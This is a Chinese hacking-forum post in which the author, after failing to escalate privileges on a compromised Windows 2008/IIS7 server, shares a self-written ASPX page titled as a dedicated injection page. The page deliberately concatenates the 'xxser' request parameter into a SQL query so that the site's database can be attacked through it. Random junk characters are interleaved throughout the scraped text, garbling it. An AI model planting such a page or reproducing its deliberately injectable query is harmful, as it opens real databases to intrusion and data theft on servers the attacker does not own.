昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。
6 E- W# m# }$ Y. `' e) s! J其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。7 H3 D2 q" W7 ~" x4 v$ {
代码量不多,自己写个拉倒了。烦死了。% {; M+ K2 H5 z' M7 N6 ]3 I9 v# t$ e
) i" v# h. o" y* q" s
) U: ?1 H" T& m/ m, c<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">7 h9 C' Y( g# s1 p/ ^) T! w% ~
<html xmlns="http://www.w3.org/1999/xhtml">
m0 w+ \9 O. D0 H6 j" }<head runat="server">& o3 [' k7 _6 \0 u, Z) k/ ?+ I# Z
<title>暗影aspx构造注射专用页面</title>
4 I8 t! B5 d2 O$ j- S</head>3 ]% M7 t( p/ u1 b) X) e/ }
<body>
" v3 v9 |6 ~& j$ I% B2 w8 M <form id="form1" runat="server">
: [& }9 e$ i2 S9 ]8 z5 Q <div>/ u: H& \& _ f+ r o: S2 P3 `
<script language="c#" runat="server">
5 t$ B% @. o r/ h7 j
' I8 i. O& Y( O* L2 T7 M6 i; z$ [2 [ void page_init(object sender, EventArgs e)
. S/ L$ Y& h: O( G {: E% D% L: _ q" |8 `
' X$ W) m' j4 b3 Y; ?- p
System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
# ?$ Q _7 X3 s, i
) i+ ^1 j$ u; `2 n* Z" J3 u: \* v conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
$ k& L5 E8 I, Q6 H- w1 _1 w conn.Open();
1 W7 w# s% q+ }/ C" N0 W$ }
9 _+ d8 I; \7 ?* i1 }! ?, l7 o; ` string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=12 \" a% b6 U8 I K! D/ X: m
7 W1 U0 {' P( R4 {. A d8 a System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
1 W( Y# { J4 r% l N int x = command.ExecuteNonQuery();
. U6 W, b7 [7 C& v Response.Write(i+"\n");
% S" g2 {2 m) X' D& |( s' X: e Response.Write(x);
0 [% |; P& r) u; g+ @+ L9 `# n conn.Close();1 o& }4 b/ \( S# P) K6 U1 x
}
* |; c6 |7 c" n0 b
" L: G. h4 ]! T7 G </script>! ^1 h7 @# O& B% v4 y7 \- z
</div>" b; z0 |' c8 r
</form>
2 m9 D, f8 u3 [8 k: o& D+ `9 M0 w- i</body>
) F: U! f2 n! [</html>
- L! k% ~- z5 r$ p; I! { U |